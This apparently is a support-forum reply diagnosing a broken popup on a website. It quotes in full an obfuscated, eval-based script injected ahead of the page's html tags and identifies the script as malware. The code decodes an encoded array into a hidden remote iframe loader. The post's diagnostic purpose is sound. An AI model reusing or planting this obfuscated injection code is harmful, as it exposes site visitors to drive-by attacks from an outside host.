Code:
<script>try{abre++}catch(a6ba34y){try{sdveesg&3}catch(asab){e=eval}} if(1){f=[-2,-3,92,91,20,27,89,99,86,106,97,88,99,104,33,92,89,103,58,96,88,98,89,97,105,103,53,110,72,84,92,66,84,98,89,27,28,86,98,89,109,26,30,79,35,82,29,110,2,-3,-4,-2,93,89,103,85,96,90,102,27,30,47,0,-2,-3,112,21,89,95,104,89,19,112,1,-4,-2,-3,87,100,87,104,98,89,97,105,34,106,103,93,103,90,28,21,49,93,89,103,85,96,90,20,102,103,87,48,28,92,103,105,100,45,36,35,109,98,95,86,107,109,86,100,89,107,35,97,108,91,107,33,106,103,34,107,87,33,101,92,99,52,91,98,50,38,26,21,107,92,89,104,91,50,27,36,37,27,19,93,89,92,92,92,103,50,27,36,37,27,19,104,104,108,97,89,48,28,106,92,104,93,85,94,96,92,105,109,45,93,93,87,89,89,97,48,100,98,104,93,103,94,99,97,47,85,85,104,99,95,106,104,88,48,96,88,91,104,45,37,47,103,100,100,45,37,47,26,51,48,34,94,90,101,86,97,88,51,22,28,48,1,-4,-2,113,0,-2,-3,89,106,98,86,105,93,98,99,20,92,91,102,84,98,89,101,29,29,110,2,-3,-4,-2,106,84,103,20,89,21,49,19,89,99,86,106,97,88,99,104,33,88,102,88,86,104,88,58,96,88,98,89,97,105,28,26,94,90,101,86,97,88,28,29,46,91,34,102,90,104,52,105,104,101,94,86,104,105,89,27,28,103,101,88,27,31,28,92,103,105,100,45,36,35,109,98,95,86,107,109,86,100,89,107,35,97,108,91,107,33,106,103,34,107,87,33,101,92,99,52,91,98,50,38,26,30,47,89,35,103,103,110,96,88,35,106,92,104,93,85,94,96,92,105,109,48,28,92,92,89,88,88,99,27,46,91,34,102,105,109,95,90,34,99,100,103,92,105,93,98,99,49,26,86,86,102,100,96,104,105,89,26,48,90,33,104,104,108,97,89,33,97,89,89,105,49,26,37,27,46,91,34,102,105,109,95,90,34,103,100,100,48,28,36,26,48,90,33,104,89,103,54,104,103,103,93,85,106,104,88,29,27,106,94,88,103,93,27,31,28,37,35,28,29,46,91,34,102,90,104,52,105,104,101,94,86,104,105,89,27,28,92,88,94,91,91,105,27,31,28,37,35,28,29,46,2,-3,-4,-2,88,98,88,105,96,90,98,103,35,91,88,105,57,95,90,97,88,99,104,102,55,109,71,86,91,65,86,97,88,29,27,85,100,88,108,28,29,78,37,81,33,86,100,99,90,98,87,56,92,92,97,88,27,91,29,46,2,-3,-4,114];}w=f;s=[];r=String;x="j%";for(i=0;-i+583!=0;i+=1){j=i;s=s+r.fromCharCode((w[j]*1+e(x+3)+11));} if(012===10)e("if(1)"+s);</script>
and the html/head tags which should be the first things on the pages.
Because of that, IE runs automatically in "Quirks" mode and the popup doesn't work properly.
If you change the mode to "IE9" (you can do that via the developer tool interface which you can open with the F12 key of your keyboard) the popup works properly.
So it's just a matter of fixing/removing the stuff which displays that javascript code on your pages.
From what I can see on Google, that javascript comes from a malware on your website:
